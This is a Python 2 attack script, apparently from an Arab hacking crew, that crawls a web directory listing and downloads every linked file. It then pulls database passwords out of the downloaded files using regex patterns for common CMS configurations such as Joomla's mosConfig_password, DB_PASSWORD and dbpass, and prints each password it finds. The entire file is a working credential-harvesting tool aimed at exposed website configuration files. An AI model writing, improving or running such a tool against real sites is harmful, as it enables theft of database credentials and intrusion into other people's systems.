#!/usr/bin/env python

'''
By: Ahmed Shawky aka lnxg33k
thx: Obzy, Relik, mohab and #arabpwn 
'''

import sys
import os
import re
import subprocess
import urllib
import glob
from platform import system

if len(sys.argv) != 3:
  print'''	
 Usage: %s [URL...] [directory...]
 Ex) %s http://www.test.com/test/ [dir ...]''' % (sys.argv[0], sys.argv[0])
  sys.exit(1)

site = sys.argv[1]
fout = sys.argv[2]

try:
  req  = urllib.urlopen(site)
  read = req.read()
  if system() == 'Linux':
    f = open('/tmp/data.txt', 'w')
    f.write(read)
    f.close()
  if system() == 'Windows':
    f = open('data.txt', 'w')  
    f.write(read)
    f.close()

  i = 0
  if system() == 'Linux':
    f = open('/tmp/data.txt', 'rU')
    for line in f:
      if line.startswith('<li><a') == True :
        m = re.search(r'(<a href=")(.+[^>])(">)', line)
        i += 1
        local_name = '%s/file%d.txt' % (fout, i)
        print 'Retrieving...\t\t', site + m.group(2)
        try:  urllib.urlretrieve(site + m.group(2), local_name)
        except IOError:
          print '\n[%s] doesn\'t exist, create it first' % fout
          sys.exit()
      if line.startswith('<img') == True:
        m1 = re.search(r'(<a href=")(.+[^>])(">)', line)
        i += 1
        local_name = '%s/file%d.txt' % (fout, i)
        print 'Retrieving...\t\t', site + m1.group(2)
        try:  urllib.urlretrieve(site + m1.group(2), local_name)
        except IOError:
          print '\n[%s] doesn\'t exist, create it first' % fout
          sys.exit()
      if line.startswith('<IMG') == True:
        m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line)
        i += 1
        local_name = '%s/file%d.txt' % (fout, i)
        print 'Retrieving...\t\t', site + m2.group(2)
        try:  urllib.urlretrieve(site + m2.group(2), local_name)
        except IOError:
          print '\n[%s] doesn\'t exist, create it first' % fout
          sys.exit()
    f.close()
  if system() == 'Windows':
    f = open('data.txt', 'rU')
    for line in f:
      if line.startswith('<li><a') == True :
        m = re.search(r'(<a href=")(.+[^>])(">)', line)
        i += 1
        local_name = '%s/file%d.txt' % (fout, i)
        print 'Retrieving...\t\t', site + m.group(2)
        try:  urllib.urlretrieve(site + m.group(2), local_name)
        except IOError:
          print '\n[%s] doesn\'t exist, create it first' % fout
          sys.exit()
      if line.startswith('<img') == True:
        m1 = re.search(r'(<a href=")(.+[^>])(">)', line)
        i += 1
        local_name = '%s/file%d.txt' % (fout, i)
        print 'Retrieving...\t\t', site + m1.group(2)
        try:  urllib.urlretrieve(site + m1.group(2), local_name)
        except IOError:
          print '\n[%s] doesn\'t exist, create it first' % fout
          sys.exit()
      if line.startswith('<IMG') == True:
        m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line)
        i += 1
        local_name = '%s/file%d.txt' % (fout, i)
        print 'Retrieving...\t\t', site + m2.group(2)
        try:  urllib.urlretrieve(site + m2.group(2), local_name)
        except IOError:
          print '\n[%s] doesn\'t exist, create it first' % fout
          sys.exit()
    f.close()
  if system() == 'Linux':
    cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait()
  if system() == 'Windows':
    cleanup = subprocess.Popen('del C:\data.txt', shell=True).wait()
  print '\n', '-' * 100, '\n'
  if system() == 'Linux':
    for root, dirs, files in os.walk(fout):
      for fname in files:
        fullpath = os.path.join(root, fname)
        f = open(fullpath, 'r')
        for line in f:
          secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line)
          if secr is not None: print (secr.group(2))  
          secr1 = re.search(r"(password = ')(.+[^>])(';)", line)
          if secr1 is not None:  print  (secr1.group(2))
          secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line)
          if secr2 is not None: print (secr2.group(3))
          secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line)
          if secr3 is not None: print (secr3.group(2))
          secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line)
          if secr4 is not None: print (secr4.group(2))
          secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line)
          if secr5 is not None: print (secr5.group(2))
          secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line)
          if secr6 is not None: print (secr6.group(2))
          secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line)
          if secr7 is not None: print (secr7.group(2))
        f.close()
  if system() == 'Windows':
    for infile in glob.glob( os.path.join(fout, '*.txt') ):
      f = open(infile, 'r')
      for line in f:
        secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line)
        if secr is not None: print (secr.group(2))  
        secr1 = re.search(r"(password = ')(.+[^>])(';)", line)
        if secr1 is not None:  print  (secr1.group(2))
        secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line)
        if secr2 is not None: print (secr2.group(3))
        secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line)
        if secr3 is not None: print (secr3.group(2))
        secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line)
        if secr4 is not None: print (secr4.group(2))
        secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line)
        if secr5 is not None: print (secr5.group(2))
        secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line)
        if secr6 is not None: print (secr6.group(2))
        secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line)
        if secr7 is not None: print (secr7.group(2))
      f.close()
except (KeyboardInterrupt):
  print '\nThanks for using it ._^'